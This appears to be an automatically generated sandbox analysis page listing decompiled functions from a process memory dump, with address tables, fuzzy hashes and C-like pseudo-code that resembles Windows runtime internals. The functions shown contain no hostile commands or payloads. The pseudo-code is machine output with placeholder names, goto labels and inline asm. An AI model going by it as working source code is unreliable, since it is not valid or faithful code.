0x012a4d58
0x012a4d65
0x012a4d6c
0x012a4d71
0x012a4d77
0x012a4d7f
0x012a4d8c
0x012a4d8e
0x012a4dad
0x012a4db0
0x012a4db7
0x012a4db8
0x012a4db9
0x012a4dba
0x012a4dbb
0x012a4dc1
0x012a4dc8
0x012a4dcc
0x012a4dd5
0x012a4dde
0x012a4ddf
0x012a4de0
0x012a4de1
0x012a4de6
0x012a4de7
0x012a4de9
0x012a4df3
0x00000000
0x00000000
0x012e6c7c
0x012e6c8a
0x012e6c8a
0x012e6c9d
0x012e6ca7
0x012e6cac
0x012e6cb2
0x012e6cb9
0x00000000
0x012e6cbf
0x012e6cbf
0x00000000
0x012e6cbf
0x012e6cb9
0x012a4dfb
0x012e6ccf
0x012e6cd3
0x012a4e32
0x012a4e39
0x012e6ce0
0x012e6cf2
0x012e6cf2
0x012e6ce0
0x012a4e3f
0x012a4e41
0x012a4e51
0x012a4e51
0x012a4e03
0x012a4e03
0x012a4e09
0x012a4e0f
0x012a4e57
0x00000000
0x00000000
0x012a4e1b
0x012a4e30
0x012a4e5b
0x012a4e5b
0x00000000
0x012a4e30
0x012a4e11
0x012a4e11
0x012a4e16
0x00000000
0x012a4e16
0x012a4e01
0x00000000
0x012a4e01
0x012a4da5
0x012e6c6b
0x00000000
0x012a4dab
0x012a4dab
0x00000000
0x012a4dab

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1834f5ded3d2c106419e7ab47f0296a3e3ba22ec6779242ab178cb3c5a36784e
Instruction ID: fbe787ac40fe270bce4e5e6392eb1dcd82a18bc99da345dc9bc0558eed75644a
Opcode Fuzzy Hash: 1834f5ded3d2c106419e7ab47f0296a3e3ba22ec6779242ab178cb3c5a36784e
Instruction Fuzzy Hash: 05412871A603599FEB31EF18CD85FBAB7A9EB14710F4440A9EA0597281D7B0ED40CB91

Uniqueness

Uniqueness Score: -1.00%

Function 01288A0A, Relevance: .1, Instructions: 120
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E01288A0A(intOrPtr* __ecx, signed int __edx) {
				signed int _v8;
				char _v524;
				signed int _v528;
				void* _v532;
				char _v536;
				char _v540;
				char _v544;
				intOrPtr* _v548;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t44;
				void* _t46;
				void* _t48;
				signed int _t53;
				signed int _t55;
				intOrPtr* _t62;
				void* _t63;
				unsigned int _t75;
				signed int _t79;
				unsigned int _t81;
				unsigned int _t83;
				signed int _t84;
				void* _t87;

				_t76 = __edx;
				_v8 =  *0x136d360 ^ _t84;
				_v536 = 0x200;
				_t79 = 0;
				_v548 = __edx;
				_v544 = 0;
				_t62 = __ecx;
				_v540 = 0;
				_v532 =  &_v524;
				if(__edx == 0 || __ecx == 0) {
					L6:
					return E012BB640(_t79, _t62, _v8 ^ _t84, _t76, _t79, _t81);
				} else {
					_v528 = 0;
					E0128E9C0(1, __ecx, 0, 0,  &_v528);
					_t44 = _v528;
					_t81 =  *(_t44 + 0x48) & 0x0000ffff;
					_v528 =  *(_t44 + 0x4a) & 0x0000ffff;
					_t46 = 0xa;
					_t87 = _t81 - _t46;
					if(_t87 > 0 || _t87 == 0) {
						 *_v548 = 0x1251180;
						L5:
						_t79 = 1;
						goto L6;
					} else {
						_t48 = E012A1DB5(_t62,  &_v532,  &_v536);
						_t76 = _v528;
						if(_t48 == 0) {
							L9:
							E012B3C2A(_t81, _t76,  &_v544);
							 *_v548 = _v544;
							goto L5;
						}
						_t62 = _v532;
						if(_t62 != 0) {
							_t83 = (_t81 << 0x10) + (_t76 & 0x0000ffff);
							_t53 =  *_t62;
							_v528 = _t53;
							if(_t53 != 0) {
								_t63 = _t62 + 4;
								_t55 = _v528;
								do {
									if( *((intOrPtr*)(_t63 + 0x10)) == 1) {
										if(E01288999(_t63,  &_v540) == 0) {
											_t55 = _v528;
										} else {
											_t75 = (( *(_v540 + 0x14) & 0x0000ffff) << 0x10) + ( *(_v540 + 0x16) & 0x0000ffff);
											_t55 = _v528;
											if(_t75 >= _t83) {
												_t83 = _t75;
											}
										}
									}
									_t63 = _t63 + 0x14;
									_t55 = _t55 - 1;
									_v528 = _t55;
								} while (_t55 != 0);
								_t62 = _v532;
							}
							if(_t62 !=  &_v524) {
								L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t79, _t62);
							}
							_t76 = _t83 & 0x0000ffff;
							_t81 = _t83 >> 0x10;
						}
						goto L9;
					}
				}
			}

0x01288a0a
0x01288a1c
0x01288a23
0x01288a2e
0x01288a30
0x01288a36
0x01288a3c
0x01288a3e
0x01288a4a
0x01288a52
0x01288a9c
0x01288aae
0x01288a58
0x01288a5e
0x01288a6a
0x01288a6f
0x01288a75
0x01288a7d
0x01288a85
0x01288a86
0x01288a89
0x01288a93
0x01288a99
0x01288a9b
0x00000000
0x01288aaf
0x01288abe
0x01288ac3
0x01288acb
0x01288ad7
0x01288ae0
0x01288af1
0x00000000
0x01288af1
0x01288acd
0x01288ad5
0x01288afb
0x01288afd
0x01288aff
0x01288b07
0x01288b22
0x01288b24
0x01288b2a
0x01288b2e
0x01288b3f
0x01288b78
0x01288b41
0x01288b52
0x01288b54
0x01288b5c
0x01288b74
0x01288b74
0x01288b5c
0x01288b3f
0x01288b5e
0x01288b61
0x01288b64
0x01288b64
0x01288b6c
0x01288b6c
0x01288b11
0x012d9cd5
0x012d9cd5
0x01288b17
0x01288b1a
0x01288b1a
0x00000000
0x01288ad5
0x01288a89

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 38b8ad2f48f15671af14fee3a2a9d8c4140208213f27d378b6d527c25d9f1e85
Instruction ID: 37f65b631c8b6a8b573ce73b9472846ff0058f0dd8418bd2b49de7475e8fee1d
Opcode Fuzzy Hash: 38b8ad2f48f15671af14fee3a2a9d8c4140208213f27d378b6d527c25d9f1e85
Instruction Fuzzy Hash: B54181B0A1122D9BDB24EF59CC88AB9B7F8FB94300F5045E9D919D7292E7709E80CF50

Uniqueness

Uniqueness Score: -1.00%

Function 0133AA16, Relevance: .1, Instructions: 120
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0133AA16(void* __ecx, intOrPtr __edx, signed int _a4, short _a8) {
				intOrPtr _v8;
				char _v12;
				signed int _v16;
				signed char _v20;
				intOrPtr _v24;
				char* _t37;
				void* _t47;
				signed char _t51;
				void* _t53;
				char _t55;
				intOrPtr _t57;
				signed char _t61;
				intOrPtr _t75;
				void* _t76;
				signed int _t81;
				intOrPtr _t82;

				_t53 = __ecx;
				_t55 = 0;
				_v20 = _v20 & 0;
				_t75 = __edx;
				_t81 = ( *(__ecx + 0xc) | _a4) & 0x93000f0b;
				_v24 = __edx;
				_v12 = 0;
				if((_t81 & 0x01000000) != 0) {
					L5:
					if(_a8 != 0) {
						_t81 = _t81 | 0x00000008;
					}
					_t57 = E0133ABF4(_t55 + _t75, _t81);
					_v8 = _t57;
					if(_t57 < _t75 || _t75 > 0x7fffffff) {
						_t76 = 0;
						_v16 = _v16 & 0;
					} else {
						_t59 = _t53;
						_t76 = E0133AB54(_t53, _t75, _t57, _t81 & 0x13000003,  &_v16);
						if(_t76 != 0 && (_t81 & 0x30000f08) != 0) {
							_t47 = E0133AC78(_t53, _t76, _v24, _t59, _v12, _t81, _a8);
							_t61 = _v20;
							if(_t61 != 0) {
								 *(_t47 + 2) =  *(_t47 + 2) ^ ( *(_t47 + 2) ^ _t61) & 0x0000000f;
								if(E0131CB1E(_t61, _t53, _t76, 2, _t47 + 8) < 0) {
									L012977F0(_t53, 0, _t76);
									_t76 = 0;
								}
							}
						}
					}
					_t82 = _v8;
					L16:
					if(E01297D50() == 0) {
						_t37 = 0x7ffe0380;
					} else {
						_t37 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
					}
					if( *_t37 != 0 && ( *( *[fs:0x30] + 0x240) & 0x00000001) != 0) {
						E0133131B(_t53, _t76, _t82, _v16);
					}
					return _t76;
				}
				_t51 =  *(__ecx + 0x20);
				_v20 = _t51;
				if(_t51 == 0) {
					goto L5;
				}
				_t81 = _t81 | 0x00000008;
				if(E0131CB1E(_t51, __ecx, 0, 1,  &_v12) >= 0) {
					_t55 = _v12;
					goto L5;
				} else {
					_t82 = 0;
					_t76 = 0;
					_v16 = _v16 & 0;
					goto L16;
				}
			}

0x0133aa1f
0x0133aa21
0x0133aa23
0x0133aa2b
0x0133aa30
0x0133aa36
0x0133aa39
0x0133aa42
0x0133aa75
0x0133aa7a
0x0133aa7c
0x0133aa7c
0x0133aa88
0x0133aa8a
0x0133aa8f
0x0133ab02
0x0133ab04
0x0133aa99
0x0133aaa8
0x0133aaaf
0x0133aab3
0x0133aacc
0x0133aad1
0x0133aad6
0x0133aae0
0x0133aaf3
0x0133aaf9
0x0133aafe
0x0133aafe
0x0133aaf3
0x0133aad6
0x0133aab3
0x0133ab07
0x0133ab0a
0x0133ab11
0x0133ab23
0x0133ab13
0x0133ab1c
0x0133ab1c
0x0133ab2b
0x0133ab44
0x0133ab44
0x0133ab51
0x0133ab51
0x0133aa44
0x0133aa47
0x0133aa4c
0x00000000
0x00000000
0x0133aa5a
0x0133aa64
0x0133aa72
0x00000000
0x0133aa66
0x0133aa66
0x0133aa68
0x0133aa6a
0x00000000
0x0133aa6a

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 702fa5d1d049179799b5169bcec1b3622bc185bb93763a62bdaaaa196ea10277
Instruction ID: b737b3dc0732b4a062974caef9e37437d9943d2ab266da10af43aec5a7973efc
Opcode Fuzzy Hash: 702fa5d1d049179799b5169bcec1b3622bc185bb93763a62bdaaaa196ea10277
Instruction Fuzzy Hash: C831F332B041056BEB19CB69C845BBFFBAAEFC0218F058469E985E7251DB748D40C654

Uniqueness

Uniqueness Score: -1.00%

Function 0133FDE2, Relevance: .1, Instructions: 116
COMMON

Download Yara Rule

C-Code - Quality: 76%

			E0133FDE2(signed int* __ecx, signed int __edx, signed int _a4) {
				char _v8;
				signed int _v12;
				signed int _t29;
				char* _t32;
				char* _t43;
				signed int _t80;
				signed int* _t84;

				_push(__ecx);
				_push(__ecx);
				_t56 = __edx;
				_t84 = __ecx;
				_t80 = E0133FD4E(__ecx, __edx);
				_v12 = _t80;
				if(_t80 != 0) {
					_t29 =  *__ecx & _t80;
					_t74 = (_t80 - _t29 >> 4 << __ecx[1]) + _t29;
					if(__edx <= (_t80 - _t29 >> 4 << __ecx[1]) + _t29) {
						E01340A13(__ecx, _t80, 0, _a4);
						_t80 = 1;
						if(E01297D50() == 0) {
							_t32 = 0x7ffe0380;
						} else {
							_t32 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
						}
						if( *_t32 != 0 && ( *( *[fs:0x30] + 0x240) & 0x00000001) != 0) {
							_push(3);
							L21:
							E01331608( *((intOrPtr*)(_t84 + 0x3c)), _t56);
						}
						goto L22;
					}
					if(( *(_t80 + 0xc) & 0x0000000c) != 8) {
						_t80 = E01342B28(__ecx[0xc], _t74, __edx, _a4,  &_v8);
						if(_t80 != 0) {
							_t66 =  *((intOrPtr*)(_t84 + 0x2c));
							_t77 = _v8;
							if(_v8 <=  *((intOrPtr*)( *((intOrPtr*)(_t84 + 0x2c)) + 0x28)) - 8) {
								E0133C8F7(_t66, _t77, 0);
							}
						}
					} else {
						_t80 = E0133DBD2(__ecx[0xb], _t74, __edx, _a4);
					}
					if(E01297D50() == 0) {
						_t43 = 0x7ffe0380;
					} else {
						_t43 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
					}
					if( *_t43 == 0 || ( *( *[fs:0x30] + 0x240) & 0x00000001) == 0 || _t80 == 0) {
						goto L22;
					} else {
						_push((0 | ( *(_v12 + 0xc) & 0x0000000c) != 0x00000008) + 2);
						goto L21;
					}
				} else {
					_push(__ecx);
					_push(_t80);
					E0133A80D(__ecx[0xf], 9, __edx, _t80);
					L22:
					return _t80;
				}
			}

0x0133fde7
0x0133fde8
0x0133fdec
0x0133fdee
0x0133fdf5
0x0133fdf7
0x0133fdfc
0x0133fe19
0x0133fe22
0x0133fe26
0x0133fec6
0x0133fecd
0x0133fed5
0x0133fee7
0x0133fed7
0x0133fee0
0x0133fee0
0x0133feef
0x0133ff00
0x0133ff02
0x0133ff07
0x0133ff07
0x00000000
0x0133feef
0x0133fe33
0x0133fe55
0x0133fe59
0x0133fe5b
0x0133fe5e
0x0133fe69
0x0133fe6d
0x0133fe6d
0x0133fe69
0x0133fe35
0x0133fe41
0x0133fe41
0x0133fe79
0x0133fe8b
0x0133fe7b
0x0133fe84
0x0133fe84
0x0133fe93
0x00000000
0x0133fea8
0x0133feba
0x00000000
0x0133feba
0x0133fdfe
0x0133fe01
0x0133fe02
0x0133fe08
0x0133ff0c
0x0133ff14
0x0133ff14

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ef4319804cf21a17d71333ba11752c881d61f5af92be3a911c0d40f229f6d46
Instruction ID: 3735c3c5fd4ca6c6740d7334a5708649146da69eb454894c6cd9a0f1c3cb0325
Opcode Fuzzy Hash: 3ef4319804cf21a17d71333ba11752c881d61f5af92be3a911c0d40f229f6d46
Instruction Fuzzy Hash: 41314632B006456FD3228B6CC844F6BBBEDEBC5A58F484058F94A8B742DB78DC41C769

Uniqueness

Uniqueness Score: -1.00%

Function 0133EA55, Relevance: .1, Instructions: 111
COMMON

Download Yara Rule

C-Code - Quality: 70%

			E0133EA55(intOrPtr* __ecx, char __edx, signed int _a4) {
				signed int _v8;
				char _v12;
				intOrPtr _v15;
				char _v16;
				intOrPtr _v19;
				void* _v28;
				intOrPtr _v36;
				void* __ebx;
				void* __edi;
				signed char _t26;
				signed int _t27;
				char* _t40;
				unsigned int* _t50;
				intOrPtr* _t58;
				unsigned int _t59;
				char _t75;
				signed int _t86;
				intOrPtr _t88;
				intOrPtr* _t91;

				_t75 = __edx;
				_t91 = __ecx;
				_v12 = __edx;
				_t50 = __ecx + 0x30;
				_t86 = _a4 & 0x00000001;
				if(_t86 == 0) {
					E01292280(_t26, _t50);
					_t75 = _v16;
				}
				_t58 = _t91;
				_t27 = E0133E815(_t58, _t75);
				_v8 = _t27;
				if(_t27 != 0) {
					E0127F900(_t91 + 0x34, _t27);
					if(_t86 == 0) {
						E0128FFB0(_t50, _t86, _t50);
					}
					_push( *((intOrPtr*)(_t91 + 4)));
					_push( *_t91);
					_t59 =  *(_v8 + 0x10);
					_t53 = 1 << (_t59 >> 0x00000002 & 0x0000003f);
					_push(0x8000);
					_t11 = _t53 - 1; // 0x0
					_t12 = _t53 - 1; // 0x0
					_v16 = ((_t59 >> 0x00000001 & 1) + (_t59 >> 0xc) << 0xc) - 1 + (1 << (_t59 >> 0x00000002 & 0x0000003f)) - (_t11 + ((_t59 >> 0x00000001 & 1) + (_t59 >> 0x0000000c) << 0x0000000c) & _t12);
					E0133AFDE( &_v12,  &_v16);
					asm("lock xadd [eax], ecx");
					asm("lock xadd [eax], ecx");
					E0133BCD2(_v8,  *_t91,  *((intOrPtr*)(_t91 + 4)));
					_t55 = _v36;
					_t88 = _v36;
					if(E01297D50() == 0) {
						_t40 = 0x7ffe0388;
					} else {
						_t55 = _v19;
						_t40 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
					}
					if( *_t40 != 0) {
						E0132FE3F(_t55, _t91, _v15, _t55);
					}
				} else {
					if(_t86 == 0) {
						E0128FFB0(_t50, _t86, _t50);
						_t75 = _v16;
					}
					_push(_t58);
					_t88 = 0;
					_push(0);
					E0133A80D(_t91, 8, _t75, 0);
				}
				return _t88;
			}

0x0133ea55
0x0133ea66
0x0133ea68
0x0133ea6c
0x0133ea6f
0x0133ea72
0x0133ea75
0x0133ea7a
0x0133ea7a
0x0133ea7e
0x0133ea80
0x0133ea85
0x0133ea8b
0x0133eab5
0x0133eabc
0x0133eabf
0x0133eabf
0x0133eaca
0x0133eace
0x0133ead0
0x0133eae4
0x0133eaeb
0x0133eaf0
0x0133eaf5
0x0133eb09
0x0133eb0d
0x0133eb1d
0x0133eb2d
0x0133eb38
0x0133eb3d
0x0133eb41
0x0133eb4a
0x0133eb60
0x0133eb4c
0x0133eb52
0x0133eb59
0x0133eb59
0x0133eb68
0x0133eb71
0x0133eb71
0x0133ea8d
0x0133ea8f
0x0133ea92
0x0133ea97
0x0133ea97
0x0133ea9b
0x0133ea9c
0x0133ea9e
0x0133eaa6
0x0133eaa6
0x0133eb7e

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f5f831e91637f778ab1786019c0fe1c1c634a5059deceac50859eb6d9a86e6aa
Instruction ID: f1ce2502184d4cd88d1966d07af433ff5e496ef1ec0d590b38f6bfc1416241b0
Opcode Fuzzy Hash: f5f831e91637f778ab1786019c0fe1c1c634a5059deceac50859eb6d9a86e6aa
Instruction Fuzzy Hash: 1B31C472614706ABD71ADF28CC80A6BB7A9FFD0214F04492DF55687785DF30E805CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 012F69A6, Relevance: .1, Instructions: 108
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E012F69A6(signed short* __ecx, void* __eflags) {
				signed int _v8;
				signed int _v16;
				intOrPtr _v20;
				signed int _v24;
				signed short _v28;
				signed int _v32;
				intOrPtr _v36;
				signed int _v40;
				char* _v44;
				signed int _v48;
				intOrPtr _v52;
				signed int _v56;
				char _v60;
				signed int _v64;
				char _v68;
				char _v72;
				signed short* _v76;
				signed int _v80;
				char _v84;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t68;
				intOrPtr _t73;
				signed short* _t74;
				void* _t77;
				void* _t78;
				signed int _t79;
				signed int _t80;

				_v8 =  *0x136d360 ^ _t80;
				_t75 = 0x100;
				_v64 = _v64 & 0x00000000;
				_v76 = __ecx;
				_t79 = 0;
				_t68 = 0;
				_v72 = 1;
				_v68 =  *((intOrPtr*)( *[fs:0x18] + 0x20));
				_t77 = 0;
				if(L01286C59(__ecx[2], 0x100, __eflags) != 0) {
					_t79 =  *((intOrPtr*)( *[fs:0x30] + 0x1e8));
					if(_t79 != 0 && E012F6BA3() != 0) {
						_push(0);
						_push(0);
						_push(0);
						_push(0x1f0003);
						_push( &_v64);
						if(E012B9980() >= 0) {
							E01292280(_t56, 0x1368778);
							_t77 = 1;
							_t68 = 1;
							if( *0x1368774 == 0) {
								asm("cdq");
								 *(_t79 + 0xf70) = _v64;
								 *(_t79 + 0xf74) = 0x100;
								_t75 = 0;
								_t73 = 4;
								_v60 =  &_v68;
								_v52 = _t73;
								_v36 = _t73;
								_t74 = _v76;
								_v44 =  &_v72;
								 *0x1368774 = 1;
								_v56 = 0;
								_v28 = _t74[2];
								_v48 = 0;
								_v20 = ( *_t74 & 0x0000ffff) + 2;
								_v40 = 0;
								_v32 = 0;
								_v24 = 0;
								_v16 = 0;
								if(E0127B6F0(0x125c338, 0x125c288, 3,  &_v60) == 0) {
									_v80 = _v80 | 0xffffffff;
									_push( &_v84);
									_push(0);
									_push(_v64);
									_v84 = 0xfa0a1f00;
									E012B9520();
								}
							}
						}
					}
				}
				if(_v64 != 0) {
					_push(_v64);
					E012B95D0();
					 *(_t79 + 0xf70) =  *(_t79 + 0xf70) & 0x00000000;
					 *(_t79 + 0xf74) =  *(_t79 + 0xf74) & 0x00000000;
				}
				if(_t77 != 0) {
					E0128FFB0(_t68, _t77, 0x1368778);
				}
				_pop(_t78);
				return E012BB640(_t68, _t68, _v8 ^ _t80, _t75, _t78, _t79);
			}

0x012f69b5
0x012f69be
0x012f69c3
0x012f69c9
0x012f69cc
0x012f69d1
0x012f69d3
0x012f69de
0x012f69e1
0x012f69ea
0x012f69f6
0x012f69fe
0x012f6a13
0x012f6a14
0x012f6a15
0x012f6a16
0x012f6a1e
0x012f6a26
0x012f6a31
0x012f6a36
0x012f6a37
0x012f6a40
0x012f6a49
0x012f6a4a
0x012f6a53
0x012f6a59
0x012f6a5d
0x012f6a5e
0x012f6a64
0x012f6a67
0x012f6a6a
0x012f6a6d
0x012f6a70
0x012f6a77
0x012f6a7d
0x012f6a86
0x012f6a89
0x012f6a9c
0x012f6a9f
0x012f6aa2
0x012f6aa5
0x012f6aaf
0x012f6ab1
0x012f6ab8
0x012f6ab9
0x012f6abb
0x012f6abe
0x012f6ac5
0x012f6ac5
0x012f6aaf
0x012f6a40
0x012f6a26
0x012f69fe
0x012f6ace
0x012f6ad0
0x012f6ad3
0x012f6ad8
0x012f6adf
0x012f6adf
0x012f6ae8
0x012f6aef
0x012f6aef
0x012f6af9
0x012f6b06

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a4740f2396dee1cf7aa8ba1c0b8d73aedbdd668e02bd48f0330ce98b544a6749
Instruction ID: 0068cc457c8615497105f193f0d86e9dd99963eda1b47595ea83a28c91e73717
Opcode Fuzzy Hash: a4740f2396dee1cf7aa8ba1c0b8d73aedbdd668e02bd48f0330ce98b544a6749
Instruction Fuzzy Hash: 98416CB1D10209AFDB20DFA9D940BFEFBF8EF48714F14812AEA14A3250EB749905CB50

Uniqueness

Uniqueness Score: -1.00%

Function 01275210, Relevance: .1, Instructions: 107
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E01275210(intOrPtr _a4, void* _a8) {
				void* __ecx;
				intOrPtr _t31;
				signed int _t32;
				signed int _t33;
				intOrPtr _t35;
				signed int _t52;
				void* _t54;
				void* _t56;
				unsigned int _t59;
				signed int _t60;
				void* _t61;

				_t61 = E012752A5(1);
				if(_t61 == 0) {
					_t31 =  *((intOrPtr*)( *[fs:0x30] + 0x10));
					_t54 =  *((intOrPtr*)(_t31 + 0x28));
					_t59 =  *(_t31 + 0x24) & 0x0000ffff;
				} else {
					_t54 =  *((intOrPtr*)(_t61 + 0x10));
					_t59 =  *(_t61 + 0xc) & 0x0000ffff;
				}
				_t60 = _t59 >> 1;
				_t32 = 0x3a;
				if(_t60 < 2 ||  *((intOrPtr*)(_t54 + _t60 * 2 - 4)) == _t32) {
					_t52 = _t60 + _t60;
					if(_a4 > _t52) {
						goto L5;
					}
					if(_t61 != 0) {
						asm("lock xadd [esi], eax");
						if((_t32 | 0xffffffff) == 0) {
							_push( *((intOrPtr*)(_t61 + 4)));
							E012B95D0();
							L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t61);
						}
					} else {
						E0128EB70(_t54, 0x13679a0);
					}
					_t26 = _t52 + 2; // 0xddeeddf0
					return _t26;
				} else {
					_t52 = _t60 + _t60;
					if(_a4 < _t52) {
						if(_t61 != 0) {
							asm("lock xadd [esi], eax");
							if((_t32 | 0xffffffff) == 0) {
								_push( *((intOrPtr*)(_t61 + 4)));
								E012B95D0();
								L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t61);
							}
						} else {
							E0128EB70(_t54, 0x13679a0);
						}
						return _t52;
					}
					L5:
					_t33 = E012BF3E0(_a8, _t54, _t52);
					if(_t61 == 0) {
						E0128EB70(_t54, 0x13679a0);
					} else {
						asm("lock xadd [esi], eax");
						if((_t33 | 0xffffffff) == 0) {
							_push( *((intOrPtr*)(_t61 + 4)));
							E012B95D0();
							L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t61);
						}
					}
					_t35 = _a8;
					if(_t60 <= 1) {
						L9:
						_t60 = _t60 - 1;
						 *((short*)(_t52 + _t35 - 2)) = 0;
						goto L10;
					} else {
						_t56 = 0x3a;
						if( *((intOrPtr*)(_t35 + _t60 * 2 - 4)) == _t56) {
							 *((short*)(_t52 + _t35)) = 0;
							L10:
							return _t60 + _t60;
						}
						goto L9;
					}
				}
			}

0x01275220
0x01275224
0x012d0d13
0x012d0d16
0x012d0d19
0x0127522a
0x0127522a
0x0127522d
0x0127522d
0x01275231
0x01275235
0x01275239
0x012d0d5c
0x012d0d62
0x00000000
0x00000000
0x012d0d6a
0x012d0d7b
0x012d0d7f
0x012d0d81
0x012d0d84
0x012d0d95
0x012d0d95
0x012d0d6c
0x012d0d71
0x012d0d71
0x012d0d9a
0x00000000
0x0127524a
0x0127524a
0x01275250
0x012d0d24
0x012d0d35
0x012d0d39
0x012d0d3b
0x012d0d3e
0x012d0d50
0x012d0d50
0x012d0d26
0x012d0d2b
0x012d0d2b
0x00000000
0x012d0d55
0x01275256
0x0127525b
0x01275265
0x012d0da7
0x0127526b
0x0127526e
0x01275272
0x012d0db1
0x012d0db4
0x012d0dc5
0x012d0dc5
0x01275272
0x01275278
0x0127527e
0x0127528a
0x0127528c
0x0127528d
0x00000000
0x01275280
0x01275282
0x01275288
0x0127529f
0x01275292
0x00000000
0x01275292
0x00000000
0x01275288
0x0127527e

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27eac41eeccc3b7849a6587fe2f9a9526ccdafb021239ff7e8198e850a258254
Instruction ID: fd6f56ad06e34af306f7f7efb271d4d860cdcf22573f577713fda4f62afdf425
Opcode Fuzzy Hash: 27eac41eeccc3b7849a6587fe2f9a9526ccdafb021239ff7e8198e850a258254
Instruction Fuzzy Hash: 1F31F631671602DBC726AB1CC882F7AB7A5FF20760F11462AF6151B1A4EB70E800C694

Uniqueness

Uniqueness Score: -1.00%

Function 012B3D43, Relevance: .1, Instructions: 106
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E012B3D43(signed short* __ecx, signed short* __edx, signed short* _a4, signed short** _a8, intOrPtr* _a12, intOrPtr* _a16) {
				intOrPtr _v8;
				char _v12;
				signed short** _t33;
				short* _t38;
				intOrPtr* _t39;
				intOrPtr* _t41;
				signed short _t43;
				intOrPtr* _t47;
				intOrPtr* _t53;
				signed short _t57;
				intOrPtr _t58;
				signed short _t60;
				signed short* _t61;

				_t47 = __ecx;
				_t61 = __edx;
				_t60 = ( *__ecx & 0x0000ffff) + 2;
				if(_t60 > 0xfffe) {
					L22:
					return 0xc0000106;
				}
				if(__edx != 0) {
					if(_t60 <= ( *(__edx + 2) & 0x0000ffff)) {
						L5:
						E01287B60(0, _t61, 0x12511c4);
						_v12 =  *_t47;
						_v12 = _v12 + 0xfff8;
						_v8 =  *((intOrPtr*)(_t47 + 4)) + 8;
						E01287B60(0xfff8, _t61,  &_v12);
						_t33 = _a8;
						if(_t33 != 0) {
							 *_t33 = _t61;
						}
						 *((short*)(_t61[2] + (( *_t61 & 0x0000ffff) >> 1) * 2)) = 0;
						_t53 = _a12;
						if(_t53 != 0) {
							_t57 = _t61[2];
							_t38 = _t57 + ((( *_t61 & 0x0000ffff) >> 1) - 1) * 2;
							while(_t38 >= _t57) {
								if( *_t38 == 0x5c) {
									_t41 = _t38 + 2;
									if(_t41 == 0) {
										break;
									}
									_t58 = 0;
									if( *_t41 == 0) {
										L19:
										 *_t53 = _t58;
										goto L7;
									}
									 *_t53 = _t41;
									goto L7;
								}
								_t38 = _t38 - 2;
							}
							_t58 = 0;
							goto L19;
						} else {
							L7:
							_t39 = _a16;
							if(_t39 != 0) {
								 *_t39 = 0;
								 *((intOrPtr*)(_t39 + 4)) = 0;
								 *((intOrPtr*)(_t39 + 8)) = 0;
								 *((intOrPtr*)(_t39 + 0xc)) = 0;
							}
							return 0;
						}
					}
					_t61 = _a4;
					if(_t61 != 0) {
						L3:
						_t43 = L01294620(0,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t60);
						_t61[2] = _t43;
						if(_t43 == 0) {
							return 0xc0000017;
						}
						_t61[1] = _t60;
						 *_t61 = 0;
						goto L5;
					}
					goto L22;
				}
				_t61 = _a4;
				if(_t61 == 0) {
					return 0xc000000d;
				}
				goto L3;
			}

0x012b3d4c
0x012b3d50
0x012b3d55
0x012b3d5e
0x012ee79a
0x00000000
0x012ee79a
0x012b3d68
0x012ee789
0x012b3d9d
0x012b3da3
0x012b3daf
0x012b3db5
0x012b3dbc
0x012b3dc4
0x012b3dc9
0x012b3dce
0x012ee7ae
0x012ee7ae
0x012b3dde
0x012b3de2
0x012b3de7
0x012b3e0d
0x012b3e13
0x012b3e16
0x012b3e1e
0x012b3e25
0x012b3e28
0x00000000
0x00000000
0x012b3e2a
0x012b3e2f
0x012b3e37
0x012b3e37
0x00000000
0x012b3e37
0x012b3e31
0x00000000
0x012b3e31
0x012b3e20
0x012b3e20
0x012b3e35
0x00000000
0x012b3de9
0x012b3de9
0x012b3de9
0x012b3dee
0x012b3dfd
0x012b3dff
0x012b3e02
0x012b3e05
0x012b3e05
0x00000000
0x012b3df0
0x012b3de7
0x012ee78f
0x012ee794
0x012b3d79
0x012b3d84
0x012b3d89
0x012b3d8e
0x00000000
0x012ee7a4
0x012b3d96
0x012b3d9a
0x00000000
0x012b3d9a
0x00000000
0x012ee794
0x012b3d6e
0x012b3d73
0x00000000
0x012ee7b5
0x00000000

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f90bbb270a377c7bc8fe1dabc7d21cc46c67c69418cfb49432ddc556c2544d13
